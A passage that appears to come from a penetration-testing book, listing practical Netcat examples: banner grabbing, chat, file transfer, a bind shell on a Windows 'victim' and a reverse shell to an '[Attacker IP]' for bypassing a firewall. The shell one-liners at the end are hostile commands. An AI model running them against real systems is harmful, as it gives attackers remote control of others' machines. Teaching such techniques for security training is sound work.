You've seen how to use Netcat in this book. In the following list, you will see a few popular, practical examples:
- Banner grabbing (HTTP):
nc -vn 10.1.1.100 80
After pressing the Enter key to execute the command, type anything, such as Hello SERVER. Then the server will send back the banner header.
- Simple chatting: Start typing the message that should be sent to the other party on any side:
- Set up and listen on one side:
nc -v -lp 1234
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- On the other side, connect to the listener:
nc -v [Remote IP] 1234
- Transfer files:
- Listen on one side:
nc -vn -lp 1234 > file.txt
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- Send the file from the other end:
nc -vn <other side remote IP> 1234 < file.txt
- Binding a shell:
- Assuming that the victim is the Windows machine, start listening:
nc -lvp 1234 -e cmd.exe
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- Connect to the victim host from the attacker machine:
nc -vn [Victim IP] 1234
- Reverse shell to bypass the firewall:
- Start listening to the attacker machine (Kali Linux):
nc -nlvp 1234
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- If the victim is using a Windows machine, enter the following:
nc -vn [Attacker IP] 1234 -e cmd.exe
If the victim is using a Linux machine, then you should use -e /bin/bash.